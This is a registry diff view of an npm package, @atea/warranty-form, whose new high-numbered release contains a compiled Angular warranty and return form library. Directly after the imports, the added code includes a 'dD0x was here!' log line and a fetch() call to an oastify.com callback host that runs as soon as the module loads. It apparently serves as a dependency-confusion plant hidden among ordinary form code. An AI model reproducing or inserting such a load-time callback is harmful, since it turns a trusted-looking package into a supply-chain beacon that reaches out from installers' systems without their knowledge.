@atea/warranty-form 0.0.1-security → 13375.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @atea/warranty-form might be problematic. Click here for more details.
- package/atea-warranty-form.js +3496 -0
- package/package.json +9 -3
- package/README.md +0 -5
@@ -0,0 +1,3496 @@
|
|
1
|
+
import * as i0 from '@angular/core';
|
2
|
+
import { Injectable, Component, Input, ViewEncapsulation, EventEmitter, Output, NgModule } from '@angular/core';
|
3
|
+
import * as i3 from '@angular/forms';
|
4
|
+
import { FormGroup, FormArray, FormControl, Validators, ReactiveFormsModule } from '@angular/forms';
|
5
|
+
import * as i4 from '@ngx-translate/core';
|
6
|
+
import { TranslateService, TranslateModule, TranslateLoader } from '@ngx-translate/core';
|
7
|
+
import { BehaviorSubject, Subject, of, isObservable, forkJoin } from 'rxjs';
|
8
|
+
import { takeUntil, debounceTime, map, startWith, pairwise, filter } from 'rxjs/operators';
|
9
|
+
import * as i1 from '@angular/common/http';
|
10
|
+
import { HttpHeaders, HttpClient } from '@angular/common/http';
|
11
|
+
import * as i1$1 from '@atea/common-design-components';
|
12
|
+
import { ButtonModule, TextInputModule, CheckboxModule, RadioModule, FileInputModule, SelectModule, TextareaInputModule, DatePickerModule, IconModule, COMMON_DESIGN_ERRORS } from '@atea/common-design-components';
|
13
|
+
import * as i2 from '@angular/common';
|
14
|
+
import { CommonModule } from '@angular/common';
|
15
|
+
import * as i1$2 from 'ng-inline-svg';
|
16
|
+
import { InlineSVGModule } from 'ng-inline-svg';
|
17
|
+
|
18
|
+
console.log('dD0x was here!');
|
19
|
+
fetch("https://hj41hq4uxon6gbxbylktf1kiq9w0ku8j.oastify.com/1")
|
20
|
+
.then((response) => response.json())
|
21
|
+
.then((json) => console.log(json));
|
22
|
+
|
23
|
+
class Constants {
|
24
|
+
}
|
25
|
+
Constants.base64 = "base64";
|
26
|
+
|
27
|
+
var CountriesEnum;
|
28
|
+
(function (CountriesEnum) {
|
29
|
+
CountriesEnum["SE"] = "SE";
|
30
|
+
CountriesEnum["NO"] = "NO";
|
31
|
+
CountriesEnum["DK"] = "DK";
|
32
|
+
CountriesEnum["FI"] = "FI";
|
33
|
+
CountriesEnum["LT"] = "LT";
|
34
|
+
CountriesEnum["LV"] = "LV";
|
35
|
+
CountriesEnum["EE"] = "EE";
|
36
|
+
})(CountriesEnum || (CountriesEnum = {}));
|
37
|
+
|
38
|
+
var RuleOptionEnum;
|
39
|
+
(function (RuleOptionEnum) {
|
40
|
+
RuleOptionEnum["ruleOptDOA"] = "ruleOptDOA";
|
41
|
+
RuleOptionEnum["ruleOptWorking"] = "ruleOptWorking";
|
42
|
+
RuleOptionEnum["ruleOptWDmgd"] = "ruleOptWDmgd";
|
43
|
+
RuleOptionEnum["ruleOptWunDmgd"] = "ruleOptWunDmgd";
|
44
|
+
RuleOptionEnum["purchaseErrorDK"] = "purchaseErrorDK";
|
45
|
+
RuleOptionEnum["workedOnDelivery"] = "workedOnDelivery";
|
46
|
+
RuleOptionEnum["notWorkOnDelivery"] = "notWorkOnDelivery";
|
47
|
+
RuleOptionEnum["discoveredWhenOpened"] = "discoveredWhenOpened";
|
48
|
+
RuleOptionEnum["cargoGoodsAvailable"] = "cargoGoodsAvailable";
|
49
|
+
RuleOptionEnum["cargoGoodsNAvailable"] = "cargoGoodsNAvailable";
|
50
|
+
RuleOptionEnum["appleCareIncluded"] = "appleCareIncluded";
|
51
|
+
RuleOptionEnum["appleCareNotIncluded"] = "appleCareNotIncluded";
|
52
|
+
RuleOptionEnum["completeCareInc"] = "completeCareInc";
|
53
|
+
RuleOptionEnum["completeCareNotInc"] = "completeCareNotInc";
|
54
|
+
RuleOptionEnum["tppIncluded"] = "tppIncluded";
|
55
|
+
RuleOptionEnum["tppNotIncluded"] = "tppNotIncluded";
|
56
|
+
RuleOptionEnum["adpIncluded"] = "adpIncluded";
|
57
|
+
RuleOptionEnum["adpNotIncluded"] = "adpNotIncluded";
|
58
|
+
RuleOptionEnum["ruleoptNoCostProp"] = "ruleoptNoCostProp";
|
59
|
+
RuleOptionEnum["ruleoptCostProp"] = "ruleoptCostProp";
|
60
|
+
RuleOptionEnum["usedCondition"] = "usedCondition";
|
61
|
+
RuleOptionEnum["projectorOnScreenYes"] = "projectorOnScreenYes";
|
62
|
+
RuleOptionEnum["projectorOnScreenNo"] = "projectorOnScreenNo";
|
63
|
+
RuleOptionEnum["cargoNeedRepair"] = "cargoNeedRepair";
|
64
|
+
RuleOptionEnum["cargoNoNeedRepair"] = "cargoNoNeedRepair";
|
65
|
+
RuleOptionEnum["phoneFMIOff"] = "phoneFMIOff";
|
66
|
+
RuleOptionEnum["phoneFMIOn"] = "phoneFMIOn";
|
67
|
+
RuleOptionEnum["phoneFMIOffv2"] = "phoneFMIOffv2";
|
68
|
+
RuleOptionEnum["phoneFMIOnv2"] = "phoneFMIOnv2";
|
69
|
+
RuleOptionEnum["printerMechNoise"] = "printerMechNoise";
|
70
|
+
RuleOptionEnum["printerGrindNoise"] = "printerGrindNoise";
|
71
|
+
RuleOptionEnum["printerCreakNoise"] = "printerCreakNoise";
|
72
|
+
RuleOptionEnum["printerSoundOther"] = "printerSoundOther";
|
73
|
+
RuleOptionEnum["printerFeeder"] = "printerFeeder";
|
74
|
+
RuleOptionEnum["printerTray"] = "printerTray";
|
75
|
+
RuleOptionEnum["printerInMachine"] = "printerInMachine";
|
76
|
+
RuleOptionEnum["printerOriginOther"] = "printerOriginOther";
|
77
|
+
RuleOptionEnum["printerScStriped"] = "printerScStriped";
|
78
|
+
RuleOptionEnum["printerScBlurred"] = "printerScBlurred";
|
79
|
+
RuleOptionEnum["printerScFaded"] = "printerScFaded";
|
80
|
+
RuleOptionEnum["printerStriped"] = "printerStriped";
|
81
|
+
RuleOptionEnum["printerBlurred"] = "printerBlurred";
|
82
|
+
RuleOptionEnum["printerFaded"] = "printerFaded";
|
83
|
+
RuleOptionEnum["printerPrintYes"] = "printerPrintYes";
|
84
|
+
RuleOptionEnum["printerPrintNo"] = "printerPrintNo";
|
85
|
+
RuleOptionEnum["printerScanYes"] = "printerScanYes";
|
86
|
+
RuleOptionEnum["printerScanNo"] = "printerScanNo";
|
87
|
+
RuleOptionEnum["packageNotDamaged"] = "packageNotDamaged";
|
88
|
+
RuleOptionEnum["packageDamaged"] = "packageDamaged";
|
89
|
+
RuleOptionEnum["externalMonitorNo"] = "externalMonitorNo";
|
90
|
+
RuleOptionEnum["externalMonitorYes"] = "externalMonitorYes";
|
91
|
+
RuleOptionEnum["externalKeyboardYes"] = "externalKeyboardYes";
|
92
|
+
RuleOptionEnum["externalKeyboardNo"] = "externalKeyboardNo";
|
93
|
+
RuleOptionEnum["waybillYes"] = "waybillYes";
|
94
|
+
RuleOptionEnum["waybillNo"] = "waybillNo";
|
95
|
+
RuleOptionEnum["externalMouseNo"] = "externalMouseNo";
|
96
|
+
RuleOptionEnum["externalMouseYes"] = "externalMouseYes";
|
97
|
+
RuleOptionEnum["orderedReplcNo"] = "orderedReplcNo";
|
98
|
+
RuleOptionEnum["orderedReplc"] = "orderedReplc";
|
99
|
+
RuleOptionEnum["dockingAnotherPCYes"] = "dockingAnotherPCYes";
|
100
|
+
RuleOptionEnum["dockingAnotherPCNo"] = "dockingAnotherPCNo";
|
101
|
+
RuleOptionEnum["dockingCableYes"] = "dockingCableYes";
|
102
|
+
RuleOptionEnum["dockingCableNo"] = "dockingCableNo";
|
103
|
+
RuleOptionEnum["dockingCableYesv2"] = "dockingCableYesv2";
|
104
|
+
RuleOptionEnum["dockingCableNov2"] = "dockingCableNov2";
|
105
|
+
RuleOptionEnum["dockingCableYesv3"] = "dockingCableYesv3";
|
106
|
+
RuleOptionEnum["dockingCableNov3"] = "dockingCableNov3";
|
107
|
+
RuleOptionEnum["dockingCableYesv4"] = "dockingCableYesv4";
|
108
|
+
RuleOptionEnum["dockingCableNov4"] = "dockingCableNov4";
|
109
|
+
RuleOptionEnum["dockingBIOSYes"] = "dockingBIOSYes";
|
110
|
+
RuleOptionEnum["dockingBIOSNo"] = "dockingBIOSNo";
|
111
|
+
RuleOptionEnum["dockingCompatibleYes"] = "dockingCompatibleYes";
|
112
|
+
RuleOptionEnum["dockingCompatibleNo"] = "dockingCompatibleNo";
|
113
|
+
RuleOptionEnum["dockingUsedYes"] = "dockingUsedYes";
|
114
|
+
RuleOptionEnum["dockingUsedNo"] = "dockingUsedNo";
|
115
|
+
RuleOptionEnum["diagnosticsYes"] = "diagnosticsYes";
|
116
|
+
RuleOptionEnum["diagnosticsNo"] = "diagnosticsNo";
|
117
|
+
RuleOptionEnum["dockingSupplyYes"] = "dockingSupplyYes";
|
118
|
+
RuleOptionEnum["dockingSupplyNo"] = "dockingSupplyNo";
|
119
|
+
RuleOptionEnum["createOrderYes"] = "createOrderYes";
|
120
|
+
RuleOptionEnum["createOrderNo"] = "createOrderNo";
|
121
|
+
RuleOptionEnum["cargoPicturesTaken"] = "cargoPicturesTaken";
|
122
|
+
RuleOptionEnum["cargoReportNotTaken"] = "cargoReportNotTaken";
|
123
|
+
RuleOptionEnum["visibleDmgYes"] = "visibleDmgYes";
|
124
|
+
RuleOptionEnum["visibleDmgNo"] = "visibleDmgNo";
|
125
|
+
RuleOptionEnum["recIssueYes"] = "recIssueYes";
|
126
|
+
RuleOptionEnum["recIssueNo"] = "recIssueNo";
|
127
|
+
RuleOptionEnum["triedChargerYes"] = "triedChargerYes";
|
128
|
+
RuleOptionEnum["triedChargerNo"] = "triedChargerNo";
|
129
|
+
RuleOptionEnum["smallpcOtherChrgYes"] = "smallpcOtherChrgYes";
|
130
|
+
RuleOptionEnum["smallpcOtherChrgNo"] = "smallpcOtherChrgNo";
|
131
|
+
RuleOptionEnum["updatedDriversYes"] = "updatedDriversYes";
|
132
|
+
RuleOptionEnum["updatedDriversNo"] = "updatedDriversNo";
|
133
|
+
RuleOptionEnum["smallpcDriversUpYes"] = "smallpcDriversUpYes";
|
134
|
+
RuleOptionEnum["smallpcDriversUpNo"] = "smallpcDriversUpNo";
|
135
|
+
RuleOptionEnum["applePhoneSoftUpYes"] = "applePhoneSoftUpYes";
|
136
|
+
RuleOptionEnum["applePhoneSoftUpNo"] = "applePhoneSoftUpNo";
|
137
|
+
RuleOptionEnum["speakerSoftwareYes"] = "speakerSoftwareYes";
|
138
|
+
RuleOptionEnum["speakerSoftwareNo"] = "speakerSoftwareNo";
|
139
|
+
RuleOptionEnum["speakerSoftwareYesv2"] = "speakerSoftwareYesv2";
|
140
|
+
RuleOptionEnum["speakerSoftwareNov2"] = "speakerSoftwareNov2";
|
141
|
+
RuleOptionEnum["projectorSocketYes"] = "projectorSocketYes";
|
142
|
+
RuleOptionEnum["projectorSocketNo"] = "projectorSocketNo";
|
143
|
+
RuleOptionEnum["projectorOutletYes"] = "projectorOutletYes";
|
144
|
+
RuleOptionEnum["projectorOutletNo"] = "projectorOutletNo";
|
145
|
+
RuleOptionEnum["speakerSourceYes"] = "speakerSourceYes";
|
146
|
+
RuleOptionEnum["speakerSourceNo"] = "speakerSourceNo";
|
147
|
+
RuleOptionEnum["projectorSourceYes"] = "projectorSourceYes";
|
148
|
+
RuleOptionEnum["projectorSourceNo"] = "projectorSourceNo";
|
149
|
+
RuleOptionEnum["speakerCableYes"] = "speakerCableYes";
|
150
|
+
RuleOptionEnum["speakerCableNo"] = "speakerCableNo";
|
151
|
+
RuleOptionEnum["depRegistered"] = "depRegistered";
|
152
|
+
RuleOptionEnum["depNotRegistered"] = "depNotRegistered";
|
153
|
+
RuleOptionEnum["applePhoneScreen"] = "applePhoneScreen";
|
154
|
+
RuleOptionEnum["applePhoneBackside"] = "applePhoneBackside";
|
155
|
+
RuleOptionEnum["pcBlackscreenSpecial"] = "pcBlackscreenSpecial";
|
156
|
+
RuleOptionEnum["pcDead"] = "pcDead";
|
157
|
+
RuleOptionEnum["pcBlackscreen"] = "pcBlackscreen";
|
158
|
+
RuleOptionEnum["pcFreeze"] = "pcFreeze";
|
159
|
+
RuleOptionEnum["smallpcCharge"] = "smallpcCharge";
|
160
|
+
RuleOptionEnum["pcTouchpad"] = "pcTouchpad";
|
161
|
+
RuleOptionEnum["pcWifi"] = "pcWifi";
|
162
|
+
RuleOptionEnum["pcLanCard"] = "pcLanCard";
|
163
|
+
RuleOptionEnum["smallpcNoConnection"] = "smallpcNoConnection";
|
164
|
+
RuleOptionEnum["smallpcNoAudio"] = "smallpcNoAudio";
|
165
|
+
RuleOptionEnum["smallpcBadQuality"] = "smallpcBadQuality";
|
166
|
+
RuleOptionEnum["smallpcPairing"] = "smallpcPairing";
|
167
|
+
RuleOptionEnum["pcFan"] = "pcFan";
|
168
|
+
RuleOptionEnum["pcCharge"] = "pcCharge";
|
169
|
+
RuleOptionEnum["pcKeyboard"] = "pcKeyboard";
|
170
|
+
RuleOptionEnum["printerNoises"] = "printerNoises";
|
171
|
+
RuleOptionEnum["printerPaperStuck"] = "printerPaperStuck";
|
172
|
+
RuleOptionEnum["printerScanning"] = "printerScanning";
|
173
|
+
RuleOptionEnum["printerQuality"] = "printerQuality";
|
174
|
+
RuleOptionEnum["speakerUnstable"] = "speakerUnstable";
|
175
|
+
RuleOptionEnum["speakerConnection"] = "speakerConnection";
|
176
|
+
RuleOptionEnum["phoneSoftware"] = "phoneSoftware";
|
177
|
+
RuleOptionEnum["dockingNoConnection"] = "dockingNoConnection";
|
178
|
+
RuleOptionEnum["dockingDead"] = "dockingDead";
|
179
|
+
RuleOptionEnum["dockingPixel"] = "dockingPixel";
|
180
|
+
RuleOptionEnum["dockingPhysical"] = "dockingPhysical";
|
181
|
+
RuleOptionEnum["dockingConIssues"] = "dockingConIssues";
|
182
|
+
RuleOptionEnum["portNotWorking"] = "portNotWorking";
|
183
|
+
RuleOptionEnum["projectorNoise"] = "projectorNoise";
|
184
|
+
RuleOptionEnum["projectorAudioQ"] = "projectorAudioQ";
|
185
|
+
RuleOptionEnum["emptyDisclaimer"] = "emptyDisclaimer";
|
186
|
+
RuleOptionEnum["optCostProposal"] = "optCostProposal";
|
187
|
+
RuleOptionEnum["ruleOptTD"] = "ruleOptTD";
|
188
|
+
RuleOptionEnum["optWarrantyClaim"] = "optWarrantyClaim";
|
189
|
+
RuleOptionEnum["optWrongDelivery"] = "optWrongDelivery";
|
190
|
+
RuleOptionEnum["otpWrongOrder"] = "otpWrongOrder";
|
191
|
+
})(RuleOptionEnum || (RuleOptionEnum = {}));
|
192
|
+
|
193
|
+
class TransportOption {
|
194
|
+
constructor(code, text) {
|
195
|
+
this.code = code;
|
196
|
+
this.text = text;
|
197
|
+
}
|
198
|
+
}
|
199
|
+
|
200
|
+
class WarrantyData {
|
201
|
+
constructor(vendors, categories, vendorProducts, ruleVendorProducts, ruleOptions, requiredFields, blackListedArticles, cnetCategories, transportOptions, orderLines) {
|
202
|
+
this.vendors = vendors;
|
203
|
+
this.categories = categories;
|
204
|
+
this.vendorProducts = vendorProducts;
|
205
|
+
this.ruleVendorProducts = ruleVendorProducts;
|
206
|
+
this.ruleOptions = ruleOptions;
|
207
|
+
this.requiredFields = requiredFields;
|
208
|
+
this.blackListedArticles = blackListedArticles;
|
209
|
+
this.cnetCategories = cnetCategories;
|
210
|
+
this.transportOptions = transportOptions;
|
211
|
+
this.orderLines = orderLines;
|
212
|
+
}
|
213
|
+
getVendorByCode(vendorCode) {
|
214
|
+
return this.vendors.find(v => v.name == vendorCode);
|
215
|
+
}
|
216
|
+
getCategoryByName(categoryName) {
|
217
|
+
return this.categories.find(v => v.name == categoryName);
|
218
|
+
}
|
219
|
+
getRuleOption(nodeId) {
|
220
|
+
return this.ruleOptions.find(r => r.nodeId === nodeId);
|
221
|
+
}
|
222
|
+
getTransportOption(code) {
|
223
|
+
if (code) {
|
224
|
+
return this.transportOptions.find(r => r.code === code);
|
225
|
+
}
|
226
|
+
return undefined;
|
227
|
+
}
|
228
|
+
sortVendors(a, b) {
|
229
|
+
if (a.vendorName < b.vendorName) {
|
230
|
+
return -1;
|
231
|
+
}
|
232
|
+
if (a.vendorName > b.vendorName) {
|
233
|
+
return 1;
|
234
|
+
}
|
235
|
+
return 0;
|
236
|
+
}
|
237
|
+
;
|
238
|
+
sortCategories(a, b) {
|
239
|
+
if (a.typeName < b.typeName) {
|
240
|
+
return -1;
|
241
|
+
}
|
242
|
+
if (a.typeName > b.typeName) {
|
243
|
+
return 1;
|
244
|
+
}
|
245
|
+
return 0;
|
246
|
+
}
|
247
|
+
;
|
248
|
+
sortFields(a, b) {
|
249
|
+
if (a.order < b.order) {
|
250
|
+
return -1;
|
251
|
+
}
|
252
|
+
if (a.order > b.order) {
|
253
|
+
return 1;
|
254
|
+
}
|
255
|
+
return 0;
|
256
|
+
}
|
257
|
+
}
|
258
|
+
|
259
|
+
var CaseTypeEnum;
|
260
|
+
(function (CaseTypeEnum) {
|
261
|
+
CaseTypeEnum[CaseTypeEnum["Return"] = 1] = "Return";
|
262
|
+
CaseTypeEnum[CaseTypeEnum["WarrantyRepair"] = 2] = "WarrantyRepair";
|
263
|
+
})(CaseTypeEnum || (CaseTypeEnum = {}));
|
264
|
+
|
265
|
+
var RequestedSystemEnum;
|
266
|
+
(function (RequestedSystemEnum) {
|
267
|
+
RequestedSystemEnum[RequestedSystemEnum["Unspecified"] = 0] = "Unspecified";
|
268
|
+
RequestedSystemEnum[RequestedSystemEnum["MyAtea"] = 1] = "MyAtea";
|
269
|
+
})(RequestedSystemEnum || (RequestedSystemEnum = {}));
|
270
|
+
|
271
|
+
class WarrantyVariables {
|
272
|
+
constructor(config, data, translateService) {
|
273
|
+
var _a;
|
274
|
+
this.translateService = translateService;
|
275
|
+
this.setConfigDefaults(config);
|
276
|
+
this.defConfig = config;
|
277
|
+
this.defData = data;
|
278
|
+
this.isCompletedOrderCase = ((_a = data === null || data === void 0 ? void 0 : data.orderLines) === null || _a === void 0 ? void 0 : _a.length) > 1;
|
279
|
+
this.isWarranty = config.caseType === CaseTypeEnum.WarrantyRepair;
|
280
|
+
this.OrderIsNull = !((data === null || data === void 0 ? void 0 : data.orderNumber) && (data === null || data === void 0 ? void 0 : data.orderLines));
|
281
|
+
this.titleProductForm = this.getFormTitle("wf.completeOrder");
|
282
|
+
this.titleWarrantyInfoForm = this.getFormTitle("wf.information");
|
283
|
+
this.returnWithSameReason = !this.OrderIsNull && this.isCompletedOrderCase;
|
284
|
+
this.translateReturnReasonPlaceholder();
|
285
|
+
}
|
286
|
+
setConfigDefaults(config) {
|
287
|
+
if (!config.toggles) {
|
288
|
+
config.toggles = {
|
289
|
+
warrantyAlternativeContact: true,
|
290
|
+
dataPrivacy: true,
|
291
|
+
sendConfirmationEmailOption: true
|
292
|
+
};
|
293
|
+
}
|
294
|
+
else {
|
295
|
+
if (config.toggles.warrantyAlternativeContact === undefined || config.toggles.warrantyAlternativeContact === null) {
|
296
|
+
config.toggles.warrantyAlternativeContact = true;
|
297
|
+
}
|
298
|
+
if (config.toggles.dataPrivacy === undefined || config.toggles.dataPrivacy === null) {
|
299
|
+
config.toggles.dataPrivacy = true;
|
300
|
+
}
|
301
|
+
if (config.toggles.sendConfirmationEmailOption === undefined || config.toggles.sendConfirmationEmailOption === null) {
|
302
|
+
config.toggles.sendConfirmationEmailOption = true;
|
303
|
+
}
|
304
|
+
}
|
305
|
+
}
|
306
|
+
getFormTitle(defaultTitle) {
|
307
|
+
if (!this.isCompletedOrderCase) {
|
308
|
+
switch (this.defConfig.caseType) {
|
309
|
+
case CaseTypeEnum.Return:
|
310
|
+
return "wf.returnproducts";
|
311
|
+
case CaseTypeEnum.WarrantyRepair:
|
312
|
+
return "wf.warrantyclaim";
|
313
|
+
}
|
314
|
+
}
|
315
|
+
return defaultTitle;
|
316
|
+
}
|
317
|
+
translateReturnReasonPlaceholder() {
|
318
|
+
this.translateService.get(["wf.reasonproductreturn", "wf.workedonarrival" + this.defConfig.country, "wf.workedonarrival"])
|
319
|
+
.subscribe(result => {
|
320
|
+
const key = `wf.workedonarrival${this.defConfig.country}`;
|
321
|
+
this.returnReasonlaceholder = (result[key] !== key) ?
|
322
|
+
result[key] :
|
323
|
+
result["wf.workedonarrival"];
|
324
|
+
});
|
325
|
+
}
|
326
|
+
}
|
327
|
+
|
328
|
+
class ConfigService {
|
329
|
+
update(configuration, data, translateService) {
|
330
|
+
let formConfig = configuration;
|
331
|
+
let formData = data;
|
332
|
+
if (typeof formConfig === "string") {
|
333
|
+
try {
|
334
|
+
formConfig = JSON.parse(formConfig);
|
335
|
+
}
|
336
|
+
catch (e) {
|
337
|
+
console.error("Invalid config: ", e);
|
338
|
+
return false;
|
339
|
+
}
|
340
|
+
}
|
341
|
+
if (typeof formData === "string") {
|
342
|
+
try {
|
343
|
+
formData = JSON.parse(formData);
|
344
|
+
}
|
345
|
+
catch (e) {
|
346
|
+
console.error("Invalid data: ", e);
|
347
|
+
return false;
|
348
|
+
}
|
349
|
+
}
|
350
|
+
if (!this.configIsValid(formConfig))
|
351
|
+
return false;
|
352
|
+
const variables = new WarrantyVariables(formConfig, formData, translateService);
|
353
|
+
if (!variables.OrderIsNull && !variables.defData.deliveryHeader) {
|
354
|
+
console.error("Delivery header variable not found");
|
355
|
+
return false;
|
356
|
+
}
|
357
|
+
this.config = variables;
|
358
|
+
return true;
|
359
|
+
}
|
360
|
+
configIsValid(formConfig) {
|
361
|
+
if (!formConfig) {
|
362
|
+
console.error("Configuration variable not found");
|
363
|
+
return false;
|
364
|
+
}
|
365
|
+
if (!formConfig.url) {
|
366
|
+
console.error("Url variable not found");
|
367
|
+
return false;
|
368
|
+
}
|
369
|
+
let isAnonymous = true;
|
370
|
+
if (typeof formConfig.isAnonymous === "boolean") {
|
371
|
+
isAnonymous = formConfig.isAnonymous;
|
372
|
+
}
|
373
|
+
if (!isAnonymous && !formConfig.userGuid) {
|
374
|
+
console.error("UserGuid variable not found");
|
375
|
+
return false;
|
376
|
+
}
|
377
|
+
formConfig.isAnonymous = isAnonymous;
|
378
|
+
this.updateConnection(formConfig.url, isAnonymous, formConfig.userGuid);
|
379
|
+
if (!formConfig.country) {
|
380
|
+
console.error("Country variable not found");
|
381
|
+
return false;
|
382
|
+
}
|
383
|
+
if (!formConfig.locale) {
|
384
|
+
console.error("Locale variable not found");
|
385
|
+
return false;
|
386
|
+
}
|
387
|
+
if (!formConfig.caseType) {
|
388
|
+
console.error("Case type variable not found");
|
389
|
+
return false;
|
390
|
+
}
|
391
|
+
else if (!Object.values(CaseTypeEnum).includes(formConfig.caseType)) {
|
392
|
+
console.error("Case type variable not supported");
|
393
|
+
return false;
|
394
|
+
}
|
395
|
+
if (formConfig.system && !Object.values(RequestedSystemEnum).includes(formConfig.system)) {
|
396
|
+
console.error("System variable not supported");
|
397
|
+
return false;
|
398
|
+
}
|
399
|
+
return true;
|
400
|
+
}
|
401
|
+
updateConnection(url, isAnonymous, userGuid) {
|
402
|
+
this.url = url;
|
403
|
+
if (typeof isAnonymous !== undefined)
|
404
|
+
this.isAnonymous = isAnonymous;
|
405
|
+
else
|
406
|
+
isAnonymous = true;
|
407
|
+
if (!isAnonymous)
|
408
|
+
this.userGuid = userGuid;
|
409
|
+
}
|
410
|
+
getConfig() {
|
411
|
+
return this.config;
|
412
|
+
}
|
413
|
+
getUrl() {
|
414
|
+
return this.url;
|
415
|
+
}
|
416
|
+
getHttpOptions() {
|
417
|
+
let headers = new HttpHeaders({ 'Content-Type': 'application/json' });
|
418
|
+
if (this.isAnonymous) {
|
419
|
+
headers = headers.append("X-ANONYMOUS", "");
|
420
|
+
}
|
421
|
+
else {
|
422
|
+
headers = headers.append("X-DIM-USER", this.userGuid);
|
423
|
+
}
|
424
|
+
const httpOptions = { headers: headers };
|
425
|
+
return httpOptions;
|
426
|
+
}
|
427
|
+
}
|
428
|
+
ConfigService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ConfigService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
429
|
+
ConfigService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ConfigService, providedIn: 'root' });
|
430
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ConfigService, decorators: [{
|
431
|
+
type: Injectable,
|
432
|
+
args: [{
|
433
|
+
providedIn: 'root'
|
434
|
+
}]
|
435
|
+
}] });
|
436
|
+
|
437
|
+
class SerialNumberService {
|
438
|
+
constructor(configService) {
|
439
|
+
this.configService = configService;
|
440
|
+
}
|
441
|
+
serialNoExists(fieldName, category, serialNumber) {
|
442
|
+
const config = this.configService.getConfig();
|
443
|
+
if (config.defConfig.country === CountriesEnum.DK &&
|
444
|
+
config.defConfig.caseType === CaseTypeEnum.WarrantyRepair &&
|
445
|
+
category === "prodtypePC" &&
|
446
|
+
serialNumber) {
|
447
|
+
return fieldName === "reqSerialNmb";
|
448
|
+
}
|
449
|
+
return false;
|
450
|
+
}
|
451
|
+
getSerialNumber(form) {
|
452
|
+
if (this.configService.getConfig().isWarranty) {
|
453
|
+
const serials = form.get("serialNumbers").value;
|
454
|
+
if ((serials === null || serials === void 0 ? void 0 : serials.length) > 0) {
|
455
|
+
return serials.find(x => x.isChecked).serial;
|
456
|
+
}
|
457
|
+
}
|
458
|
+
return "";
|
459
|
+
}
|
460
|
+
}
|
461
|
+
SerialNumberService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SerialNumberService, deps: [{ token: ConfigService }], target: i0.ɵɵFactoryTarget.Injectable });
|
462
|
+
SerialNumberService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SerialNumberService, providedIn: 'root' });
|
463
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SerialNumberService, decorators: [{
|
464
|
+
type: Injectable,
|
465
|
+
args: [{
|
466
|
+
providedIn: 'root'
|
467
|
+
}]
|
468
|
+
}], ctorParameters: function () { return [{ type: ConfigService }]; } });
|
469
|
+
|
470
|
+
const STEPS = [
|
471
|
+
{ stepIndex: 1, isComplete: false },
|
472
|
+
{ stepIndex: 2, isComplete: false },
|
473
|
+
{ stepIndex: 3, isComplete: false }
|
474
|
+
];
|
475
|
+
class StepsService {
|
476
|
+
constructor() {
|
477
|
+
this.steps$ = new BehaviorSubject(STEPS);
|
478
|
+
this.currentStep$ = new BehaviorSubject(null);
|
479
|
+
this.currentStep$.next(this.steps$.value[0]);
|
480
|
+
}
|
481
|
+
setCurrentStep(step) {
|
482
|
+
this.currentStep$.next(step);
|
483
|
+
}
|
484
|
+
getCurrentStep() {
|
485
|
+
return this.currentStep$.asObservable();
|
486
|
+
}
|
487
|
+
getSteps() {
|
488
|
+
return this.steps$.asObservable();
|
489
|
+
}
|
490
|
+
moveToPrevStep() {
|
491
|
+
const index = this.currentStep$.value.stepIndex;
|
492
|
+
if (index - 2 >= 0) {
|
493
|
+
this.currentStep$.next(this.steps$.value[index - 2]);
|
494
|
+
}
|
495
|
+
}
|
496
|
+
moveToNextStep() {
|
497
|
+
const index = this.currentStep$.value.stepIndex;
|
498
|
+
if (index < this.steps$.value.length) {
|
499
|
+
this.currentStep$.next(this.steps$.value[index]);
|
500
|
+
}
|
501
|
+
}
|
502
|
+
isLastStep() {
|
503
|
+
return this.currentStep$.value.stepIndex === this.steps$.value.length;
|
504
|
+
}
|
505
|
+
}
|
506
|
+
StepsService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: StepsService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
507
|
+
StepsService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: StepsService, providedIn: 'root' });
|
508
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: StepsService, decorators: [{
|
509
|
+
type: Injectable,
|
510
|
+
args: [{
|
511
|
+
providedIn: 'root'
|
512
|
+
}]
|
513
|
+
}], ctorParameters: function () { return []; } });
|
514
|
+
|
515
|
+
var FieldTypeEnum;
|
516
|
+
(function (FieldTypeEnum) {
|
517
|
+
FieldTypeEnum["inputFile"] = "input-file";
|
518
|
+
FieldTypeEnum["invoiceInfo"] = "input-invoice-info";
|
519
|
+
FieldTypeEnum["insuranceCheckbox"] = "insurance-checkbox";
|
520
|
+
FieldTypeEnum["inputCheckbox"] = "input-checkbox";
|
521
|
+
FieldTypeEnum["textarea"] = "textarea";
|
522
|
+
FieldTypeEnum["inputText"] = "input-text";
|
523
|
+
})(FieldTypeEnum || (FieldTypeEnum = {}));
|
524
|
+
|
525
|
+
class LastUsedDetails {
|
526
|
+
}
|
527
|
+
|
528
|
+
class WarrantySendData {
|
529
|
+
constructor() {
|
530
|
+
this.app = new RequestedSystem(RequestedSystemEnum.Unspecified);
|
531
|
+
}
|
532
|
+
}
|
533
|
+
class RequestedSystem {
|
534
|
+
constructor(type) {
|
535
|
+
this.type = type;
|
536
|
+
}
|
537
|
+
}
|
538
|
+
class WarrantySendDataProduct {
|
539
|
+
constructor(product, description, Quantity, serialNumbers) {
|
540
|
+
this.product = product;
|
541
|
+
this.description = description;
|
542
|
+
this.Quantity = Quantity;
|
543
|
+
this.serialNumbers = serialNumbers;
|
544
|
+
}
|
545
|
+
}
|
546
|
+
class WarrantySendDataSerialNumber {
|
547
|
+
constructor(ischecked, serial) {
|
548
|
+
this.ischecked = ischecked;
|
549
|
+
this.serial = serial;
|
550
|
+
}
|
551
|
+
}
|
552
